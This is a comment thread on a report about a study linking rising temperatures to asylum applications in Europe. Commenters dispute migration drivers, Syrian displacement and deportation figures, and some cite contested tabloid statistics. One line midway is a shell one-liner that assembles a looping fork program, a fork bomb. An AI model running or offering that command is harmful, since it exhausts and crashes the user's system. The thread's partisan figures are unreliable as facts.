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Faced With Rising Temperatures, People May Seek Asylum (axios.com)
Europe is already struggling to absorb an influx of refugees from war-torn Syria, Afghanistan, Iraq, and Africa. Germany alone has taken in more than a million people since 2015. This wave of immigration has led to political upheaval, with the rise of right-wing political parties in Germany, Poland, Austria, and Hungary, among others. Now a new study, published in the journal Science, shows that the current surge in refugees may just be a preview of what's to come due in large part to global warming. From a report: At an average growing season temperature of about 68 Fahrenheit, which is the optimum one for agriculture, the number of applications for asylum was lowest. As the average temperature rose, so did the number of people from Somalia, Bangladesh and other warmer climate countries seeking asylum. But when cooler countries -- such as Serbia and Peru -- got warmer, fewer applications were received. The acceptance rate for asylum application to the EU is less than 10%. But when there was a spike in applications tied to weather fluctuations, the admittance rate rose to about 30%, suggesting agencies who evaluate the applicants find their cause worthy.
That would require someone do a multivariate analysis. And they won't do that because it would show civil war, oppressive governments etc are more strongly correlated to refugee flows than climate.
Actually one big driver was getting rid of people like Gaddafi who stopped migrants coming to Europe. The EU had a deal with Gaddafi. Then France and the UK toppled him and Libya became essentially a failed state.
https://www.theguardian.com/co...
https://en.wikipedia.org/wiki/...
Turkey also uses refugee flows as a foreign policy tool - they turn on the tap when they want more money from Europe.
https://www.euractiv.com/secti...
So how much is climate a cause? Not much. Weather probably does have some impact though - mainly because if you're going to cross the Med or walk across Europe you'd be better off doing when it's not freezing cold. But weather and climate are not the same thing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Real refugees have 2 primary goals 1) To reach the nearest location where the immediate danger they face is no longer present. 2) To return to their origin as soon as it is safe to do so.
In the case of Syrians, the locations matching those criteria would typically be within Syria itself. They could find safety without ever leaving the country.
I take it you know nothing about the Syrian crisis, then.
What place in Syria is it that you believe is "where the immediate danger they face is no longer present"? The few places within Syria that aren't in a war zone with boundaries that are constantly changing... are jammed to overflowing with the eight million people who are already displaced within Syria; the largest internally displaced population in the world. About six in ten Syrians are now refugees, most of them internally.
http://www.bbc.com/news/world-middle-east-34189117
The US per wikipedia has a total of about 12 million illegal immigrants.
Which were absorbed over a long period of time and who came to work for depressingly low wages. It wasn't 12 million all at once. Many of them have been here literally for decades. The total number of illegal immigrants in the US hasn't risen for about a decade and in fact has declined somewhat from the peak.
Migration has been a relatively minor problem for Europe.
It isn't a minor problem. It's not to the scale justifying any sort of panic but any time you get a million new refugees in a relatively short time frame that creates a lot of very real problems. These people need to be fed, sheltered, to find work and school, etc. This isn't a trivial undertaking by an measure. It's made worse of course by the inevitable racists and xenophobes who want to shut the borders to keep anyone different out.
Don't quote a poem as a source of your national stance. That's just stupid. Stupid also is to let in those who vocally call for the destruction of your country, refuse to assimilate and *become* your neighbor and who actively call for *their* law (you know, from where they came) to replace *your* law.
Ummm... The only problem with this is that now that countries have had the time to process most of the mass that arrived in Europe during 2015, it's become clear that actual refugees only make up a minority of those masses. Massive amounts of people saw an opportunity for a better life in Europe and simply hitched a ride with the actual refugees. Even Sweden, having a reputation of being very welcoming to immigrants, has been rejecting about 70% of all asylum applications and the deportation of immigrants who have finally exhausted all of their options is becoming a bigger and bigger problem across Europe.
Not only is it becoming harder and harder to get the countries to take back all of their citizens, Iraq being particularly difficult, a lot of the immigrants have decided to simply not accept that their asylum application got denied. Instead they've either gone underground, thinking if they stay long enough they can eventually get permanent residence, or have started roving around Europe applying for asylum in multiple countries using false identities (as per the Dublin process if you have your asylum application denied in one country other EU countries will not even consider any further applications by you).
"Why should I want to make anything up? Life's bad enough as it is without wanting to invent any more of it."
3) Inside the EU the migrants can claim asylum and even if they are refused they're unlikely to be deported
Using an Anti-EU tabloid as a reference doesn't really help this point here. The fact is while few migrants are deported in figures, that is only because the official figures count people who are forced out using the country's resources. e.g. 580 people were deported from Germany in 2016. While that number is low 55,000 ended up leaving voluntarily after their asylum claim was denied.
Deporting people is expensive so it doesn't happen a lot, so why do people leave voluntarily? Well it's actually damn hard to find even a place to live let alone work as an illegal immigrant in many EU countries, and as soon as your asylum claim is rejected you don't qualify for any state sponsored aid / housing anymore either. Not exactly a good thing when winter comes.
4) The numbers of asylum seekers who are likely to find work is minimal. Of the million plus migrants who arrived in 2016 only 54 found a job
Wow following up an express article with Breitbart. That is class.
Speaking of I was working next to a building in Germany which got converted into temporary accommodation for people who were granted asylum. The building went in about Feb 2016 in quite a damn small town. Of the 50 people in there, more than half of them had a job by the time I left Germany (we shared some services with them including security and catering so chatted to them a bit). I find it amazing that half of the number of that reliable source all came from one little building in one little town in a little corner of Germany. They must be extremely lucky.
It's a shame that Breitbart doesn't have a printed edition, I'm running low on toilet paper.
I.e. if Turkey or Libya open the floodgates then there's nothing the EU can do legally to stop large numbers of people being dependent on benefits in the EU indefinitely.
i.e. you get EU legal advice from far right anti-immigration and anti-EU fake news sources. Shame on you and shame on whoever modded you insightful.